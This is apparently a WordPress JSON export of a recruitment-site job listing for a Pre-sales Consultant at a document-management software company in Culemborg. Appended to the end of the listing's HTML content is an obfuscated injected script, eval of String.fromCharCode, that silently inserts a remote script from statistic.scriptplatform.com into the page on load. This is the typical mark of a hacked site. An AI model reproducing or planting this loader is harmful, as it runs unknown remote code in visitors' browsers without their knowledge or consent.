{"id":82734,"date":"2023-04-04T14:04:00","date_gmt":"2023-04-04T12:04:00","guid":{"rendered":"http:\/\/eclectic.eu\/?post_type=job_listing&#038;p=82734"},"modified":"2023-06-01T00:56:16","modified_gmt":"2023-05-31T22:56:16","slug":"pre-sales-consultant","status":"expired","type":"job_listing","link":"https:\/\/eclectic.eu\/en\/?post_type=job_listing&p=82734","title":{"rendered":"Pre-sales Consultant"},"content":{"rendered":"<p>Our client provides complete control, support and precision for the world\u2019s most important projects and operations.<\/p>\n<p>The company can best be described as an enthusiastic group of IT-professionals dedicated to the development and maintenance of software applications in an Oracle and Java environment.<\/p>\n<p>They have developed a successful application, a Document Control and Management System which is specialized in supporting complex engineering and construction projects for industries including energy, transportation, infrastructure, and mining. Our application is used by a growing number of customers from around the world, including Europe, North America, the Middle East, West Africa, Southeast Asia, China, and Australia.<\/p>\n<p>Currently they are employing nearly 75 people all over the world, including 55 at the Headquarters in Culemborg, the Netherlands. They also have growing offices in India and Kuala Lumpur. They are a friendly and diverse group of colleagues, representing around 20 different nationalities, and they believe that this is part of their strength, as well as an enormous drive, positive attitude, and a lot of enthusiasm to make every day a success.<\/p>\n<p>They are currently looking for a Pre-sales consultant to join the team!<\/p>\n<p>The Pre-sales consultant is responsible for managing the technical support required during the sales phase. He\/She will work in close collaboration with the sales &amp; marketing and product team to act as a bridge between the prospect\u2019s expectation in product suites and our offerings. He\/She is also responsible to manage, and provide sales support like demos, gap analysis etc to the sales team.<\/p>\n<p><strong>What will you be doing?<\/strong><\/p>\n<ul>\n<li>Attend meetings with potential Clients to determine technical and business requirements and ensuring that all necessary information is collated prior to producing a solution.<\/li>\n<li>Create and confidently deliver technical presentations\/demos internally and externally.<\/li>\n<li>Support on providing in depth product demos &amp; solutions.<\/li>\n<li>Structure and produce technical proposals and documentation outlining our cost savings and business benefits to clients.<\/li>\n<li>Coordination within other departments to on enhance product functionalities and provide constant input on improvements.<\/li>\n<li>Interface with the implementation \/ project team, articulating customer requirement, to ensure smooth transition from Sale to Implementations<\/li>\n<li>Support marketing: organizing documentation on product functionalities.<\/li>\n<li>Manage technical sales support throughout lead development, qualification, pipeline management, forecasting, account strategy &amp; planning.<\/li>\n<li>Training the sales team on product functionalities and maintain standard demo instances for the Account managers and BDM\u2019s.<\/li>\n<li>Travel to client locations for sales and marketing support.<\/li>\n<li>Keeping abreast of market trends and product &amp; competitor landscapes.<\/li>\n<\/ul>\n<p><strong>Your profile<\/strong><\/p>\n<ul>\n<li>Relevant experience with pre sales consultancy in document management and control domain.<\/li>\n<li>Bachelor&#8217;s 4 year Degree in Engineering or masters.<\/li>\n<li>Preferably 5+ years of relevant experience in software to Oil &amp; Gas- or adjacent industries.<\/li>\n<li>Deep understanding of operational processes (project management. engineering, maintenance, process safety, QA).<\/li>\n<li>Presentation skills.<\/li>\n<li>Hands-on, self-starter, getting things done mentality.<\/li>\n<li>Potential to develop towards a leadership position.<\/li>\n<li>Excellent and fluent knowledge of the English language.<\/li>\n<li>Excellent analytical skills.<\/li>\n<li>Vigorous and enthusiastic team player with a positive and proactive attitude.<\/li>\n<li>Ability to work in a fast paced environment, in teams and autonomously.<\/li>\n<\/ul>\n<p><strong><br \/>\nAdditional Information<\/strong><\/p>\n<ul>\n<li>Work location is our office in Culemborg (the Netherlands).<\/li>\n<li>Flexibility to partially work from home.<\/li>\n<li>Employment for 32-40 hours a week<\/li>\n<li>Competitive salary and conditions.<\/li>\n<\/ul>\n<p>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/p>\n","protected":false},"author":2,"featured_media":0,"template":"","meta":{"_acf_changed":false,"_promoted":"","_job_location":"Culemborg","_application":"daphne.schipperen@eclectic.eu","_company_name":"","_company_website":"","_company_tagline":"The Pre-sales consultant is responsible for managing the technical support required during the sales phase. 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